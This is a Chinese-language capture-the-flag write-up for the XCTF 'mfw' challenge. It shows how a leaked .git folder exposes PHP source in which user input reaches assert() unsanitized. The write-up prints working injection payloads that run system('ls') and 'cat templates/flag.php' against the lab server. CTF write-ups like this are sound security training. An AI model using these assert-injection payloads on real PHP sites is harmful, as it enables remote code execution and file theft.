zoukankan      html  css  js  c++  java
  • XCTF:mfw(.git泄露)

    进入页面,发现找不到任何提示

     

     

    最后发现了.git文件,使用GitHack把文件下载下来

    .git文件夹

    .git文件夹是git init后在当前目录生成的一个管理git仓库的文件夹,这里包含所有git操作所需要的东西

    打开index.php文件,以下是其中的php代码

    <?php
    
    if (isset($_GET['page'])) {
        $page = $_GET['page'];
    } else {
        $page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>

    审计代码得至存在 assert() 函数,若果传入的是字符串 assert()函数会将读入的代码当做PHP代码来执行

    php代码如下:

    <?php
    
    assert("strpos('templates/.'.system('ls').'.php', '..') === false") ;
    
    ?>

    php代码相对于的payload

    http://220.249.52.133:36044/?page='.system("ls").'

    构造payload获取flag:

    http://220.249.52.133:36044/?page=?page=%27).system(%22cat%20templates/flag.php%22);//

  • 相关阅读:
    php (一)
    php 运算符
    Python 元组
    Python 深拷贝和浅拷贝的区别
    Python 列表
    Python 字符串
    Python 循环控制
    Python 随机数,数学
    bzoj5018 [Snoi2017]英雄联盟
    bzoj5015 [Snoi2017]礼物
  • 原文地址:https://www.cnblogs.com/luocodes/p/13832119.html
Copyright © 2011-2022 走看看